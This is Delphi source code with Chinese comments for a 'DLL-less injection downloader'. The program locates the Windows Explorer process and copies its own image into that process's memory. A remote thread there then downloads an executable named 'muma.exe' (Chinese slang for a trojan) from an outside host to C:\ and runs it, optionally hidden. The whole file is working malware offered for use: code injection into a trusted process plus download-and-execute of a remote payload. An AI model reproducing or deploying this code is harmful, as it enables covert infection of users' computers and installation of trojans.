无DLL注入下载者(无DLL)
program InjectTheSelf;
{$IMAGEBASE $13140000}
uses Windows, Urlmon;
procedure Download; //下载过程
begin
URLDownloadToFile(nil, 'http://www.darkst.com/muma.exe','C:\muma.exe',
0, nil);
WinExec('C:\muma.exe', SW_SHOW); //SW_SHOW or SW_HIDE
end;
var
hModule, hModule_News: Pointer;
Extent, Size, ThreadId: longword;
ProcessHandle, Pid: longword;
begin
GetWindowThreadProcessId(FindWindow('Shell_TrayWnd', nil), @Pid);
//获取Exp进程的PID码,Shell_TrayWnd为类名,相关的需用SPY++来查看
ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, Pid); //打开进
程
hModule := Pointer(GetModuleHandle(nil));
//这里得到的值为一个返回一个指针型变量,指向内容包括进程映像的基址
Extent := PImageOptionalHeader(Pointer(integer(hModule) +
PImageDosHeader(hModule)._lfanew + SizeOf(dword) + SizeOf
(TImageFileHeader))).SizeOfImage;
//得到内存映像的长度
VirtualFreeEx(ProcessHandle, hModule, 0, MEM_RELEASE);
//在Exp进程的内存范围内分配一个足够长度的内存
hModule_News := VirtualAllocEx(ProcessHandle, hModule, Extent,
MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
//确定起始基址和内存映像基址的位置
WriteProcessMemory(ProcessHandle, hModule_News, hModule, Extent, Size);
//确定上面各项数据后,这里开始进行操作
CreateRemoteThread(ProcessHandle, nil, 0, @Download, hModule, 0,
ThreadId);
//建立远程线程,至此注入过程完成
CloseHandle(ProcessHandle);
//关闭对像
end.